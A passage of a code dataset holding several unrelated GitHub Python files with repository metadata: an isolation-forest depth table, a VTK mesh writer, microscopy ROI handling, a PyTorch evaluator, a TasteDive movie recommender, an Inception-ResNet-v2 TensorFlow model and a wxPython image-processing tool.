leaf_node_list:\n sample_list = sample_map[id]\n this_depth = node_depth[id]\n depth_table[sample_list, i] = this_depth\n\n columns = [\"Tree-\" + str(i) for i in range(n_tree)]\n depth_df = pd.DataFrame(depth_table, dtype=int, index=np.arange(n_sample), columns=columns)\n return depth_df\n\n\nif __name__ == '__main__':\n file_path = \"data/cardio.csv\"\n df = pd.read_csv(file_path)\n x = df.values[:, :-1]\n y = df.values[:, -1]\n iforest, if_scores, if_outlier_index = do_iforest(x, n_estimators=100)\n\n # iforest_vis(x, if_outlier_index, if_scores)\n depth = iforest_depth_table(iforest, x)\n print(depth)\n import pandas as pd\n\n depth.to_csv('data/d_t.csv')\n\n n_tree = len(iforest.estimators_samples_)\n draw_tree(iforest, np.arange(10))","repo_name":"bettyzry/EFMOL","sub_path":"iForestVis.py","file_name":"iForestVis.py","file_ext":"py","file_size_in_byte":4345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40995942306","text":"import numpy as np\nimport vtk\nimport vtk.util.numpy_support as npv\n\n\n# ========================================================= #\n# === construct vtk unstructuredgrid === #\n# ========================================================= #\n\nclass construct__uGrid:\n\n \n # ========================================================= #\n # === initial settings === #\n # ========================================================= #\n def __init__( self, nodes=None, elems =None, vtkFile =\"out.vtu\", DataFormat=\"binary\", \\\n elementType=None, cellData=None, pointData=None, cellDataName=None, pointDataName=None ):\n\n # ------------------------------------------------- #\n # --- [1] ID_TYPE Definition ( type for IDs ) --- #\n # ------------------------------------------------- #\n if vtk.VTK_ID_TYPE == 12:\n self.ID_TYPE = np.int64\n else:\n self.ID_TYPE = np.int32\n\n # ------------------------------------------------- #\n # --- [2] input variables and its size --- #\n # ------------------------------------------------- #\n self.vtkFile = vtkFile\n self.DataFormat = DataFormat\n self.elementType = elementType\n self.nodes = np.copy( nodes )\n self.elems = np.copy( elems )\n self.nElem = self.elems.shape[0]\n self.nVert = self.elems.shape[1]\n if ( self.elems.dtype != self.ID_TYPE ):\n self.elems.astype( self.ID_TYPE )\n if ( self.elems.flags['C_CONTIGUOUS'] != True ):\n self.elems = np.ascontiguousarray( self.elems )\n\n # ------------------------------------------------- #\n # --- [3] cell & point Data --- #\n # ------------------------------------------------- #\n\n if ( cellData is not None ):\n if ( cellData.ndim == 1 ):\n cellData = np.reshape( cellData, (-1,1) )\n elif ( cellData.ndim > 2 ):\n sys.exit( \"[construct__uGrid] cellData shape == {0} \".format( cellData.shape ) )\n self.cellData = np.copy( cellData )\n if ( cellDataName is None ):\n self.cellDataName = [ \"eData{0:02}\".format(ik+1) for ik in range( cellData.shape[1] ) ]\n else:\n self.cellDataName = cellDataName\n else:\n self.cellData = None\n self.cellDataName = None\n\n if ( pointData is not None ):\n if ( pointData.ndim == 1 ):\n pointData = np.reshape( pointData, (-1,1) )\n elif ( pointData.ndim > 2 ):\n sys.exit( \"[construct__uGrid] pointData shape == {0} \".format( pointData.shape ) )\n self.pointData = np.copy( pointData )\n if ( pointDataName is None ):\n self.pointDataName = [ \"pData{0:02}\".format(ik+1) for ik in range( pointData.shape[1] ) ]\n else:\n self.pointData = None\n self.pointDataName = None\n\n \n # ------------------------------------------------- #\n # --- [3] make unstructuredGridData --- #\n # ------------------------------------------------- #\n self.make__uGrid()\n self.save__uGrid()\n\n\n # ========================================================= #\n # === store elems & nodes in a ugrid format === #\n # ========================================================= #\n def make__uGrid( self ):\n \n # ------------------------------------------------- #\n # --- [1] element IDs & offset = define cells --- #\n # ------------------------------------------------- #\n # -- [1-1] offset & elemIDs -- #\n nVertArray = np.sum( np.ones_like( self.elems ), axis=1 )\n offset = np.cumsum( np.insert( nVertArray, 0, 0.0 ) )\n offset = npv.numpy_to_vtkIdTypeArray( ( offset[:-1] ).astype( self.ID_TYPE ) )\n \n # -- [1-2] cell type -- #\n if ( self.elementType is not None ):\n cellType = np.full( ( self.nElem,), self.elementType )\n if ( self.nVert == 4 ):\n cellType = np.full( ( self.nElem,), vtk.VTK_TETRA )\n if ( self.nVert == 8 ):\n cellType = np.full( ( self.nElem,), vtk.VTK_HEXAHEDRON )\n cellType = cellType.astype( np.uint8 )\n cellType = npv.numpy_to_vtk( cellType )\n\n # -- [1-3] cell array -- #\n elemIDs = np.concatenate( [ np.reshape( nVertArray, ( self.nElem,1) ), \\\n self.elems ], axis=1 )\n elemIDs = npv.numpy_to_vtkIdTypeArray( np.ravel( elemIDs ) )\n cellArray = vtk.vtkCellArray()\n cellArray.SetCells( self.nElem, elemIDs )\n # -- elemID Data Structure -- #\n # [ [ N, e1, e2, e3, ...., eN ], [ N, e1, e2, e3, ...., eN ], .... ]\n # -- \n \n # ------------------------------------------------- #\n # --- [2] node definition --- #\n # ------------------------------------------------- #\n vtkPoints = vtk.vtkPoints()\n vtkPoints.SetData( npv.numpy_to_vtk( self.nodes ) )\n\n # ------------------------------------------------- #\n # --- [3] Define unstructured Grid --- #\n # ------------------------------------------------- #\n self.ugrid = vtk.vtkUnstructuredGrid()\n self.ugrid.SetPoints( vtkPoints )\n self.ugrid.SetCells( cellType, offset, cellArray )\n\n # ------------------------------------------------- #\n # --- [4] cellData & pointData --- #\n # ------------------------------------------------- #\n # -- [4-1] cellData -- #\n if ( self.cellData is not None ):\n self.cellDataDict = { key: npv.numpy_to_vtk( self.cellData[:,ik], deep=True ) \\\n for ik,key in enumerate( self.cellDataName ) }\n for key in self.cellDataName:\n self.cellDataDict[key].SetName( key )\n self.ugrid.GetCellData().AddArray( self.cellDataDict[key] )\n\n # -- [4-2] pointData -- #\n if ( self.pointData is not None ):\n self.pointDataDict = { key: npv.numpy_to_vtk( self.pointData[:,ik], deep=True ) \\\n for ik,key in enumerate( self.pointDataName ) }\n for key in self.pointDataName:\n self.pointDataDict[key].SetName( key )\n self.ugrid.GetPointData().AddArray( self.pointDataDict[key] )\n \n\n \n # ========================================================= #\n # === save as a vtk Format File === #\n # ========================================================= #\n def save__uGrid( self, DataFormat=None, vtkFile=None ):\n\n if ( DataFormat is not None ):\n self.DataFormat = DataFormat\n if ( vtkFile is not None ):\n self.vtkFile = vtkFile\n \n self.writer = vtk.vtkXMLUnstructuredGridWriter()\n self.writer.SetDataModeToBinary()\n if ( self.DataFormat.lower() == \"ascii\" ):\n self.writer.SetDataModeToAscii()\n if ( self.DataFormat.lower() == \"binary\" ):\n self.writer.SetDataModeToBinary()\n self.writer.SetFileName( self.vtkFile )\n self.writer.SetInputData( self.ugrid )\n self.writer.Write()\n print( \"[save__uGrid] outFile :: {0} \".format( self.vtkFile ) )\n\n\n\n\n# ========================================================= #\n# === 実行部 === #\n# ========================================================= #\n\nif ( __name__==\"__main__\" ):\n\n import nkUtilities.equiSpaceGrid as esg\n x1MinMaxNum = [ 0.0, 1.0, 2 ]\n x2MinMaxNum = [ 0.0, 2.0, 2 ]\n x3MinMaxNum = [ 0.0, 3.0, 3 ]\n nodes = esg.equiSpaceGrid( x1MinMaxNum=x1MinMaxNum, x2MinMaxNum=x2MinMaxNum, \\\n x3MinMaxNum=x3MinMaxNum, returnType = \"point\", \\\n DataOrder =\"ijk\" )\n \n elems = np.array( [ [ 0, 1, 3, 2, 4, 5, 7, 6 ], \\\n [ 4, 5, 7, 6, 8, 9, 11, 10 ] ] )\n cellData = np.array( [ [ 1.0, 2.0, 3.0 ], [0.0, 1.0, 2.0] ] )\n pointData1 = np.sqrt( nodes[:,0]**2 + nodes[:,1]**2, nodes[:,2]**2 )\n pointData2 = np.exp( - 0.5 * nodes[:,0]**2 + nodes[:,1]**2, nodes[:,2]**2 )\n pointData = np.concatenate( ( pointData1[:,None], pointData2[:,None] ), axis=1 )\n \n construct__uGrid( nodes=nodes, elems=elems, cellData=cellData, pointData=pointData, vtkFile=\"out.vtu\" )\n","repo_name":"wfw-pgr/nkVTKRoutines","sub_path":"construct__uGrid.py","file_name":"construct__uGrid.py","file_ext":"py","file_size_in_byte":8871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33642891859","text":"from enum import Enum\nimport numpy as np\n\nclass GrowthlaneRoi(object):\n \"\"\" Represents the growth-lane present inside a Mother-machine image. \"\"\"\n\n def __init__(self, roi=None, id=None, parent_gl_region_id=None):\n self.roi = roi\n self.id = id\n self.parent_gl_region_id = parent_gl_region_id\n self.exit_location: GrowthlaneExitLocation = None\n self.normalization_range = None\n\n def get_oriented_roi_image(self, image):\n roi_image = self.roi.get_from_image(image)\n if self.exit_location is None:\n self.exit_location = self.determine_location_of_growthlane_exit(roi_image[0, ...], search_area=50)\n\n if self.normalization_range:\n roi_image[0, ...] = self._normalize_image_with_min_and_max_values(roi_image[0, ...], self.normalization_range[0], self.normalization_range[1])\n\n if self.exit_location is GrowthlaneExitLocation.AT_TOP:\n return roi_image\n elif self.exit_location is GrowthlaneExitLocation.AT_LEFT:\n return np.rot90(roi_image,-1, axes=(1, 2))\n elif self.exit_location is GrowthlaneExitLocation.AT_BOTTOM:\n return np.rot90(roi_image, 2, axes=(1, 2))\n elif self.exit_location is GrowthlaneExitLocation.AT_RIGHT:\n return np.rot90(roi_image, 1, axes=(1, 2))\n else:\n raise ValueError(\"Growthlane orientation is not set.\")\n\n def determine_location_of_growthlane_exit(self, growthlane_roi_image, search_area):\n \"\"\"\n This function determines the location of the growthlane by comparing the value sum of values\n at the start of the *extended* GL to those at the end.\n :param growthlane_roi_image: the image of from the extended GL ROI.\n :param search_area: the value by which the GL was extended in *both* directions.\n :return:\n \"\"\"\n height, width = growthlane_roi_image.shape\n\n if width > height:\n sum_at_left = np.sum(growthlane_roi_image[:, 0:search_area].flatten(), 0)\n sum_at_right = np.sum(growthlane_roi_image[:, -search_area:].flatten(), 0)\n if sum_at_left > sum_at_right:\n return GrowthlaneExitLocation.AT_LEFT\n elif sum_at_right > sum_at_left:\n return GrowthlaneExitLocation.AT_RIGHT\n else:\n raise ValueError(\"Could not determine location of growthlane exit.\")\n elif height > width:\n sum_at_top = np.sum(growthlane_roi_image[0:search_area, :].flatten(), 0)\n sum_at_bottom = np.sum(growthlane_roi_image[-search_area:, :].flatten(), 0)\n if sum_at_top > sum_at_bottom:\n return GrowthlaneExitLocation.AT_TOP\n elif sum_at_bottom > sum_at_top:\n return GrowthlaneExitLocation.AT_BOTTOM\n else:\n raise ValueError(\"Could not determine location of growthlane exit.\")\n else:\n raise ValueError(\"Could not determine location of growthlane exit.\")\n\n print(\"stop\")\n\n @property\n def length(self):\n \"\"\"\n Returns the length of the growthlane.\n \"\"\"\n if self.roi.width >= self.roi.height:\n return self.roi.width\n else:\n return self.roi.height\n\n @property\n def width(self):\n \"\"\"\n Returns the width of the channel ROI.\n Note that this is not identical with RotatedRoi.width (but it can be).\n \"\"\"\n if self.roi.height < self.roi.width:\n return self.roi.height\n else:\n return self.roi.width\n\n def _normalize_image_with_min_and_max_values(self, image, norm_range_minimum, norm_range_maximum):\n return (image - norm_range_minimum) / (norm_range_maximum - norm_range_minimum)\n\n\n\nclass GrowthlaneExitLocation(Enum):\n \"\"\"Enum for passing back the result from determining the location of the growthlane exit.\"\"\"\n AT_LEFT = 0\n AT_RIGHT = 1\n AT_TOP = 2\n AT_BOTTOM = 3\n","repo_name":"nimwegenLab/moma-preprocessing","sub_path":"mmpreprocesspy/mmpreprocesspy/GrowthlaneRoi.py","file_name":"GrowthlaneRoi.py","file_ext":"py","file_size_in_byte":3974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12206125761","text":"import torch\n\nclass Evaluate:\n def __init__(self):\n pass\n\n def accuracy(self, network, x_val, y_val, gpu):\n correct = 0\n total = 0\n for index, (inputs, labels) in enumerate(zip(x_val, y_val)):\n inputs = torch.tensor(inputs)\n labels = torch.tensor(labels)\n\n if gpu:\n network.cuda()\n inputs = inputs.cuda()\n labels = labels.cuda()\n\n outputs = network(inputs)\n for i, output in enumerate(outputs):\n correct += self.evalOneHot(output.tolist(), labels[i].tolist())\n total += 1\n print(f'Calculating accuracy: {index}/{len(x_val)}', end='\\r')\n\n return correct / total\n\n def evalOneHot(self, output, label):\n maxOutput = output.index(max(output))\n maxLabel = label.index(max(label))\n return maxOutput == maxLabel\n","repo_name":"felixxwu/Jazz-Chord-Generator","sub_path":"dataset/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35378202707","text":"from ..libs.requests_with_caching import get\nfrom ..safe_get import safe_get\n\ndef get_movies_from_tastedive(movie_title):\n baseurl = \"https://tastedive.com/api/similar\"\n params_diction = {\"limit\": 5, \"type\": \"movies\"}\n params_diction[\"q\"] = movie_title\n resp = get(baseurl, params = params_diction)\n return resp.json()\n\ndef extract_movie_titles(movies_data):\n return [ safe_get(movie, \"Name\") for movie in safe_get(movies_data, \"Similar.Results\") ]\n\ndef reduce(function, sequence, initial=None):\n it = iter(sequence)\n value = initial\n for element in it:\n value = function(value, element)\n return value\n\ndef get_related_titles(titles):\n movies_res = [ get_movies_from_tastedive(movie) for movie in titles]\n related_titles = reduce(lambda acc, li: acc + li,[extract_movie_titles(data) for data in movies_res], [])\n return list(set(related_titles))","repo_name":"santiagoclv/python-3","sub_path":"basics_3/week_3/final_assegment/movie_recomendation.py","file_name":"movie_recomendation.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"11963773071","text":"#!/usr/bin/python\n# -*- coding:utf-8 -*-\n\n\nimport tensorflow as tf\nimport six\nfrom tools import visualize\n\n\nFLAGS = tf.app.flags.FLAGS\ntf.app.flags.DEFINE_integer('cls', 10, 'numbers of classifiers')\ntf.app.flags.DEFINE_integer('IMG_WIDTH', 299, 'image width')\ntf.app.flags.DEFINE_integer('IMG_HEIGHT', 299, 'image height')\ntf.app.flags.DEFINE_integer('IMG_CHANNEL', 3, 'image channel')\ntf.app.flags.DEFINE_integer('batch_size', 5, 'batch size')\ntf.app.flags.DEFINE_integer('epoches', 1, 'epoches')\ntf.app.flags.DEFINE_float('LEARNING_RATE', 0.0001, 'learning rate for momentum GD')\ntf.app.flags.DEFINE_float('MOMENTUM', 0.9, 'momentum rate for momentum GD')\ntf.app.flags.DEFINE_string('data_path', '/home/workspace/cc', 'path of dataset')\ntf.app.flags.DEFINE_string('LOG_DIR', 'Log--' + visualize.get_time(), 'tensorboard log dir')\n\n\ndef convolution(data, kernel, strides, padding='SAME', name=None):\n with tf.name_scope(name):\n conv = tf.nn.conv2d(input=data,\n filter=tf.Variable(tf.truncated_normal(shape=kernel, stddev=1e-2, dtype=tf.float32)),\n strides=[1, strides, strides, 1], padding=padding, name=name)\n return conv\n\n\ndef pooling(data, ksize, strides, padding='SAME', type='max', name=None):\n with tf.name_scope(name):\n if type == 'max':\n pool = tf.nn.max_pool(value=data, ksize=[1, ksize, ksize, 1],\n strides=[1, strides, strides, 1], padding=padding, name=name)\n else:\n pool = tf.nn.avg_pool(value=data, ksize=[1, ksize, ksize, 1],\n strides=[1, strides, strides, 1], padding=padding, name=name)\n return pool\n\n\ndef relu(data, name=None):\n with tf.name_scope(name):\n relu_res = tf.nn.relu(data, name=name)\n return relu_res\n\n\ndef fullconnection(data, weights, biases, name):\n with tf.name_scope(name):\n fc = tf.nn.xw_plus_b(data, weights, biases, name=name)\n return fc\n\n\ndef stem(data):\n with tf.name_scope('stem'):\n conv1 = convolution(data, kernel=[3, 3, FLAGS.IMG_CHANNEL, 32], strides=2, padding='VALID',\n name='stem_conv1')\n conv2 = convolution(conv1, kernel=[3, 3, 32, 32], strides=1, padding='VALID', name='stem_conv2')\n conv3 = convolution(conv2, kernel=[3, 3, 32, 64], strides=1, name='stem_conv3')\n\n # block1\n block1_max_pool = pooling(conv3, ksize=3, strides=2, padding='VALID', name='stem_block1_max_pool')\n block1_conv = convolution(conv3, kernel=[3, 3, 64, 96], strides=2, padding='VALID', name='stem_block1_conv')\n block1 = tf.concat(axis=3, values=[block1_max_pool, block1_conv])\n\n # block2_1\n block2_1_conv1 = convolution(block1, kernel=[1, 1, 160, 64], strides=1, name='block2_1_conv1')\n block2_1_conv2 = convolution(block2_1_conv1, kernel=[3, 3, 64, 96], strides=1, padding='VALID',\n name='block2_1_conv2')\n\n # block2_2\n block2_2_conv1 = convolution(block1, kernel=[1, 1, 160, 64], strides=1, name='block2_2_conv1')\n block2_2_conv2 = convolution(block2_2_conv1, kernel=[7, 1, 64, 64], strides=1, name='block2_2_conv2')\n block2_2_conv3 = convolution(block2_2_conv2, kernel=[1, 7, 64, 64], strides=1, name='block2_2_conv3')\n block2_2_conv4 = convolution(block2_2_conv3, kernel=[3, 3, 64, 96], strides=1, padding='VALID',\n name='block2_2_conv4')\n block2 = tf.concat(axis=3, values=[block2_1_conv2, block2_2_conv4])\n\n # block3\n block3_conv = convolution(block2, kernel=[3, 3, 192, 192], strides=2, padding='VALID', name='block3_conv')\n block3_pool = pooling(block2, ksize=3, strides=2, padding='VALID', name='block3_pool')\n block3 = tf.concat(axis=3, values=[block3_conv, block3_pool])\n\n return block3\n\n\ndef inception_resnet_a(data):\n with tf.name_scope('inception_resnet_a'):\n relu1 = relu(data, name='relu1')\n\n # patch1\n patch1_conv1 = convolution(data, kernel=[1, 1, 384, 32], strides=1, name='patch1_conv1')\n\n # patch2\n patch2_conv1 = convolution(data, kernel=[1, 1, 384, 32], strides=1, name='patch2_conv1')\n patch2_conv2 = convolution(patch2_conv1, kernel=[3, 3, 32, 32], strides=1, name='patch2_conv2')\n\n # patch3\n patch3_conv1 = convolution(data, kernel=[1, 1, 384, 32], strides=1, name='patch3_conv1')\n patch3_conv2 = convolution(patch3_conv1, kernel=[3, 3, 32, 48], strides=1, name='patch3_conv2')\n patch3_conv3 = convolution(patch3_conv2, kernel=[3, 3, 48, 64], strides=1, name='patch3_conv3')\n\n patch = tf.concat(axis=3, values=[patch1_conv1, patch2_conv2, patch3_conv3])\n patch_conv = convolution(patch, kernel=[1, 1, 128, 384], strides=1, name='patch_conv')\n\n relu1 += patch_conv\n return relu1\n\n\ndef reduction_a(data):\n with tf.name_scope('reduction_a'):\n patch1 = pooling(data, ksize=3, strides=2, padding='VALID', name='patch1')\n patch2 = convolution(data, kernel=[3, 3, 384, 384], strides=2, padding='VALID', name='patch2')\n patch3_conv1 = convolution(data, kernel=[1, 1, 384, 256], strides=1, name='patch3_conv1')\n patch3_conv2 = convolution(patch3_conv1, kernel=[3, 3, 256, 256], strides=1, name='patch3_conv2')\n patch3_conv3 = convolution(patch3_conv2, kernel=[3, 3, 256, 384], strides=2, padding='VALID',\n name='patch3_conv3')\n patch = tf.concat(axis=3, values=[patch1, patch2, patch3_conv3])\n return patch\n\n\ndef inception_resnet_b(data):\n with tf.name_scope('inception_resnet_b'):\n relu1 = relu(data, name='relu1')\n\n # patch1\n patch1_conv1 = convolution(data, kernel=[1, 1, 1152, 192], strides=1, name='patch1_conv1')\n\n # patch2\n patch2_conv1 = convolution(data, kernel=[1, 1, 1152, 128], strides=1, name='patch2_conv1')\n patch2_conv2 = convolution(patch2_conv1, kernel=[1, 7, 128, 160], strides=1, name='patch2_conv2')\n patch2_conv3 = convolution(patch2_conv2, kernel=[7, 1, 160, 192], strides=1, name='patch2_conv3')\n\n patch = tf.concat(axis=3, values=[patch1_conv1, patch2_conv3])\n patch = convolution(patch, kernel=[1, 1, 384, 1152], strides=1, name='patch_conv')\n\n relu1 += patch\n return relu1\n\n\ndef reduction_b(data):\n # patch1\n patch1 = pooling(data, ksize=3, strides=2, padding='VALID', name='patch1_max')\n\n # patch2\n patch2_conv1 = convolution(data, kernel=[1, 1, 1152, 256], strides=1, name='patch2_conv1')\n patch2_conv2 = convolution(patch2_conv1, kernel=[3, 3, 256, 384], strides=2, padding='VALID', name='patch2_conv2')\n\n # patch3\n patch3_conv1 = convolution(data, kernel=[1, 1, 1152, 256], strides=1, name='patch3_conv1')\n patch3_conv2 = convolution(patch3_conv1, kernel=[3, 3, 256, 288], strides=2, padding='VALID', name='patch3_conv2')\n\n # patch4\n patch4_conv1 = convolution(data, kernel=[1, 1, 1152, 256], strides=1, name='patch4_conv1')\n patch4_conv2 = convolution(patch4_conv1, kernel=[3, 3, 256, 288], strides=1, name='patch4_conv2')\n patch4_conv3 = convolution(patch4_conv2, kernel=[3, 3, 288, 320], strides=2, padding='VALID', name='patch4_conv3')\n\n patch = tf.concat(axis=3, values=[patch1, patch2_conv2, patch3_conv2, patch4_conv3])\n return patch\n\n\ndef inception_resnet_c(data):\n with tf.name_scope('inception_resnet_c'):\n relu1 = relu(data, name='relu1')\n\n # patch1\n patch1_conv1 = convolution(data, kernel=[1, 1, 2144, 192], strides=1, name='patch1_conv1')\n\n # patch2\n patch2_conv1 = convolution(data, kernel=[1, 1, 2144, 192], strides=1, name='patch2_conv1')\n patch2_conv2 = convolution(patch2_conv1, kernel=[1, 3, 192, 224], strides=1, name='patch2_conv2')\n patch2_conv3 = convolution(patch2_conv2, kernel=[3, 1, 224, 256], strides=1, name='patch2_conv3')\n\n patch = tf.concat(axis=3, values=[patch1_conv1, patch2_conv3])\n patch = convolution(patch, kernel=[1, 1, 448, 2144], strides=1, name='patch')\n\n relu1 += patch\n return relu1\n\n\ndef model(data):\n stem_unit = stem(data)\n inception_resnet_a_unit = stem_unit\n for _ in six.moves.range(5):\n inception_resnet_a_unit = inception_resnet_a(inception_resnet_a_unit)\n reduction_a_unit = reduction_a(inception_resnet_a_unit)\n inception_resnet_b_unit = reduction_a_unit\n for _ in six.moves.range(10):\n inception_resnet_b_unit = inception_resnet_b(inception_resnet_b_unit)\n reduction_b_unit = reduction_b(inception_resnet_b_unit)\n inceptio_resnet_c_unit = reduction_b_unit\n for _ in six.moves.range(5):\n inceptio_resnet_c_unit = inception_resnet_c(inceptio_resnet_c_unit)\n avg_pool_unit = pooling(inceptio_resnet_c_unit, ksize=8, strides=1, padding='VALID', type='avg', name='avg_pool')\n drop = tf.nn.dropout(avg_pool_unit, keep_prob=0.8)\n drop = tf.reshape(drop, shape=[-1, 2144])\n fc = fullconnection(drop,\n weights=tf.Variable(tf.truncated_normal(shape=[2144, FLAGS.cls], dtype=tf.float32)),\n biases=tf.Variable(tf.truncated_normal(shape=[FLAGS.cls], dtype=tf.float32)), name='full_conn')\n return fc\n\n\ndef train_act(features_train, labels_train, features_test, labels_test):\n sess = tf.InteractiveSession()\n x = tf.placeholder(dtype=tf.float32,\n shape=[None, FLAGS.IMG_WIDTH, FLAGS.IMG_HEIGHT, FLAGS.IMG_CHANNEL], name='features')\n y = tf.placeholder(dtype=tf.float32, shape=[None, FLAGS.cls], name='labels')\n pred = model(data=x)\n with tf.name_scope('loss'):\n loss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=pred, labels=y))\n tf.summary.scalar('loss', loss)\n tf.summary.histogram('loss', loss)\n with tf.name_scope('train'):\n train = tf.train.MomentumOptimizer(learning_rate=FLAGS.LEARNING_RATE, momentum=FLAGS.MOMENTUM).minimize(loss)\n with tf.name_scope('accuracy'):\n accuracy = tf.reduce_mean(tf.cast(tf.equal(tf.argmax(pred, 1), tf.argmax(y, 1)), tf.float32))\n tf.summary.scalar('accuracy', accuracy)\n tf.summary.histogram('accuracy', accuracy)\n\n merge = tf.summary.merge_all()\n logwriter = tf.summary.FileWriter(FLAGS.LOG_DIR, sess.graph)\n initial = tf.global_variables_initializer()\n sess.run(initial)\n\n data_size = features_train.shape[0]\n iterations = int(data_size / FLAGS.batch_size)\n for _ in range(FLAGS.epoches):\n for i in range(iterations):\n data = []\n labels = []\n if i == iterations - 1:\n data = features_train[i * FLAGS.batch_size: data_size, :, :, :]\n labels = labels_train[i * FLAGS.batch_size: data_size]\n else:\n data = features_train[i * FLAGS.batch_size: (i + 1) * FLAGS.batch_size, :, :, :]\n labels = labels_train[i * FLAGS.batch_size: (i + 1) * FLAGS.batch_size]\n sess.run(train, feed_dict={x: data, y: labels})\n if i % 10 == 0:\n summary, accuracy_res = sess.run([merge, accuracy], feed_dict={x: features_test, y: labels_test})\n logwriter.add_summary(summary, i)\n print(visualize.get_time() +\n ' epoch %d, train_iteration at %d, test score: %f ' % (_, i, accuracy_res))\n sess.close()\n logwriter.close()\n\n\ndef main():\n from tools import dataset\n features_train, labels_train, features_test, labels_test = dataset.load_cifar10(FLAGS.data_path,\n width=FLAGS.IMG_WIDTH,\n height=FLAGS.IMG_HEIGHT,\n one_hot=True)\n train_act(features_train, labels_train, features_test, labels_test)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"gu-yan/mlAlgorithms","sub_path":"tensorflow/inception_impl/Inception_resnet_v2_temsorflow.py","file_name":"Inception_resnet_v2_temsorflow.py","file_ext":"py","file_size_in_byte":12006,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"27700751805","text":"# -*- coding:utf-8 -*-\nimport wx\nfrom PIL import Image\n\nclass MyFrame(wx.Frame):\n def __init__(self, parent, id):\n wx.Frame.__init__(self, parent, id, u'CM升级工具', size=(600, 400))\n\n # 创建面板\n\n panel = wx.Panel(self)\n\n # 创建按钮\n self.bt_FlipHoriz = wx.Button(panel, label='水平翻转')\n self.bt_FlipVert = wx.Button(panel, label='垂直翻转')\n self.bt_MidBase = wx.Button(panel, label='居中白底') # 确定白底像素\n self.bt_AddWrite = wx.Button(panel, label='添加白底')\n\n # 创建文本\n\n self.lb_FilePath = wx.StaticText(panel, 0, u\"文件路径:\", style=wx.TE_LEFT)\n self.lb_Pixel = wx.StaticText(panel, 0, u\"像 素:\", style=wx.TE_LEFT)\n self.txt_FilePath = wx.TextCtrl(panel, style=wx.TE_LEFT, value=u'请选择图片目录')\n self.txt_Pixel = wx.TextCtrl(panel, style=wx.TE_LEFT, value=u'请输入像素')\n # 创建文本内容框,多行,垂直滚动条\n self.text_contents = wx.TextCtrl(panel, style=wx.TE_MULTILINE | wx.HSCROLL)\n\n # 添加容器\n bsizer_top = wx.BoxSizer(wx.HORIZONTAL)\n\n bsizer_center = wx.BoxSizer(wx.HORIZONTAL)\n\n bsizer_botton1 = wx.BoxSizer(wx.VERTICAL)\n bsizer_botton2 = wx.BoxSizer(wx.VERTICAL)\n bsizer_content = wx.BoxSizer(wx.HORIZONTAL)\n\n # 容器中添加控件\n bsizer_top.Add(self.lb_FilePath, proportion=0, flag=wx.ALL | wx.ALIGN_CENTER_VERTICAL | wx.ALIGN_LEFT, border=5)\n bsizer_top.Add(self.txt_FilePath, proportion=2, flag=wx.EXPAND | wx.ALL, border=5)\n\n bsizer_center.Add(self.lb_Pixel, proportion=0, flag=wx.ALL | wx.ALIGN_CENTER_VERTICAL | wx.ALIGN_LEFT,\n border=5)\n bsizer_center.Add(self.txt_Pixel, proportion=2, flag=wx.EXPAND | wx.ALL, border=5)\n\n bsizer_botton1.Add(self.bt_FlipHoriz, proportion=1, flag=wx.ALL, border=5)\n bsizer_botton1.Add(self.bt_FlipVert, proportion=1, flag=wx.ALL, border=5)\n bsizer_botton1.Add(self.bt_MidBase, proportion=1, flag=wx.ALL, border=5)\n bsizer_botton2.Add(self.bt_AddWrite, proportion=1, flag=wx.ALL, border=5)\n bsizer_content.Add(self.text_contents, proportion=1, flag=wx.EXPAND | wx.ALL, border=5)\n\n # wx.VERTICAL 横向分割\n bsizer_all = wx.BoxSizer(wx.VERTICAL)\n # 添加顶部sizer,proportion=0 代表bsizer_top大小不可变化\n bsizer_all.Add(bsizer_top, proportion=0, flag=wx.EXPAND | wx.ALL, border=5)\n bsizer_all.Add(bsizer_center, proportion=0, flag=wx.EXPAND | wx.ALL, border=5)\n # 添加底部sizer,proportion=1 代表bsizer_bottom大小变化\n bsizer_botoom = wx.BoxSizer(wx.HORIZONTAL)\n bsizer_all.Add(bsizer_botoom, proportion=0, flag=wx.EXPAND | wx.ALL, border=5)\n bsizer_botoom.Add(bsizer_botton1, proportion=0, flag=wx.EXPAND | wx.ALL, border=5)\n bsizer_botoom.Add(bsizer_botton2, proportion=0, flag=wx.EXPAND | wx.ALL, border=5)\n bsizer_botoom.Add(bsizer_content, proportion=1, flag=wx.EXPAND | wx.ALL, border=5)\n self.Bind(wx.EVT_BUTTON, self.update, self.bt_FlipHoriz)\n self.Bind(wx.EVT_BUTTON, self.zipweb, self.bt_FlipVert)\n self.Bind(wx.EVT_BUTTON, self.addwrite, self.bt_AddWrite)\n panel.SetSizer(bsizer_all)\n\n def copyFiles(self, sourceDir, targetDir):\n pass\n\n def update(self, event):\n\n # build\n self.text_contents.AppendText('升级结束\\n')\n\n # 生成网站升级包\n def zipweb(self, event):\n pass\n\n def addwrite(self, event):\n try:\n sourceFile = self.txt_FilePath.GetValue()\n image = Image.open(sourceFile)\n image = image.convert('RGBA')\n\n imagewidth = image.size[0] # 图片宽度\n imageheight = image.size[1] # 图片高度\n\n whiteimage = Image.open('白底.jpg')\n whiteimage = whiteimage.convert('RGB')\n\n whiteimage = whiteimage.resize((imagewidth, imageheight))\n\n whiteimage.paste(image, (0, 0), mask=image)\n whiteimage.save(sourceFile)\n self.text_contents.AppendText('白底转换成功\\n')\n except Exception as e:\n self.text_contents.AppendText('报错:{0}\\n'.format(e))\nif __name__ == '__main__':\n app = wx.App()\n frame = MyFrame(parent=None, id=-1)\n frame.Show()\n frame.Center()\n app.MainLoop()\n","repo_name":"ZhuoXinXin/ImageProcessTool","sub_path":"ImageProcessTool.py","file_name":"ImageProcessTool.py","file_ext":"py","file_size_in_byte":4433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32156115409","text":"import pygame\r\nimport 